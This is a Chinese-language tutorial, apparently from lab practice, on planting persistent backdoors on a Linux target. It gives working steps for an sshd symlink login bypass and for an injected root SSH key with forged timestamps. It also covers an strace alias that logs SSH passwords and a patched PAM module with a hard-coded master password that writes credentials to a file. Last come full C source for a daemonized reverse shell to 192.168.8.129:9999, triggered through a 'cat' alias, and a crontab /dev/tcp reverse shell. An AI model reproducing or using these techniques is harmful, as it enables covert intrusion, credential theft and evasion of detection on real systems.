靶机:ubuntu
一,ssh后门
1.软连接sshd
将ssh服务端打软标签到可执行目录/usr/sbin
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
这样远程登陆时可以不需要密码,同样,root可以正常登录
正常连接
软连接
2.ssh key
首先生成公私钥
ssh-keygen -t rsa
然后将公钥写到authorized_keys
cd /root/.ssh
cat id_rsa.pub >> authorized_keys
写入公钥后,文件时间等会改变,这时需要把时间更改
touch -r 任意文件 authorized_keys
把私钥导入本机,修改权限,进行公私钥登陆
3.ssh keylogger
strace是linux中跟踪进程的程序
在当前的环境变量(vim .bashrc )的末尾添加
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
(记录ssh读写操作,并放到/tmp/sshpwd中)
加载环境变量source ~/.bashrc
ssh远程连接kali,然后退出,查看日志
二,linux pam后门
pam是ssh认证的组件,linux是开源的,所以在网上找到对应的pam,拖到靶机,在目录Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c中添加
if (strcmp("wz1314",p)==0) {return PAM_SUCCESS;}
//如果输入的密码为wz1314则通过
回到源目录进行编译
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
编译好的文件在目录/Linux-PAM-1.1.8/modules/pam_unix/.libs中
搜索pam_unix.so,一个刚刚编译的,一个原本的,只需把原来的替换为刚编译的
cp /root/Desktop/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
再次使用设置的密码登陆,成功,原来的密码也能登陆成功,但是不同的登陆方式的日志不同,容易被发现,所以换个思路,还是在Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c进行修改
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
// if (strcmp("wz1314",p)==0) {return PAM_SUCCESS;}
FILE * fp;
if (retval == PAM_SUCCESS) {
fp = fopen("/etc/pam.txt","a");
fprintf(fp,"%s->%s\n", name,p);
fclose(fp);
}
name = p = NULL;
再改Linux-PAM-1.1.8/modules/pam_unix/suppurt.c,找到函数_unix_verify_password进行修改
int _unix_verify_password(pam_handle_t * pamh, const char *name
,const char *p, unsigned int ctrl)
{
struct passwd *pwd = NULL;
char *salt = NULL;
char *data_name;
int retval;
if (strcmp("wz1314",p)==0) {return PAM_SUCCESS;}
D(("called"));
继续编译,替换,这样不同的登陆方式的登录日志也一样
三,alias后门
alias可以在系统中创建命令
首先在/root目录下创建一个反弹shell的shell.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>
#define ERR_EXIT(m) do{perror(m); exit(EXIT_FAILURE);}while (0);
void creat_daemon(void);
int main(void)
{
time_t t;
int fd;
creat_daemon();
system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh");
system("/bin/bash -i >& /dev/tcp/192.168.8.129/9999 0>&1");
return 0;
}
void creat_daemon(void)
{
pid_t pid;
int devnullfd,fd,fdtablesize;
umask(0);
pid = fork();
if( pid == -1)
ERR_EXIT("fork error");
if(pid > 0 )
exit(EXIT_SUCCESS);
if(setsid() == -1)
ERR_EXIT("SETSID ERROR");
chdir("/");
/* close any open file descriptors */
for(fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
close(fd);
devnullfd = open("/dev/null", 0);
/* make STDIN ,STDOUT and STDERR point to /dev/null */
if (devnullfd == -1) {
ERR_EXIT("can't open /dev/null");
}
if (dup2(devnullfd, STDIN_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
}
if (dup2(devnullfd, STDOUT_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
if (dup2(devnullfd, STDERR_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
signal(SIGCHLD,SIG_IGN);
return;
}
然后编译成.shell
gcc shell.c -o .shell
再然后创建cat命令,在执行原本的cat命令的同时,还会执行/root目录下的.shell文件
alias cat='/root/.shell && cat'
随便cat文件,shell成功反弹
四,crontab后门
每分钟反弹一次shell
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.8.129/9999;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -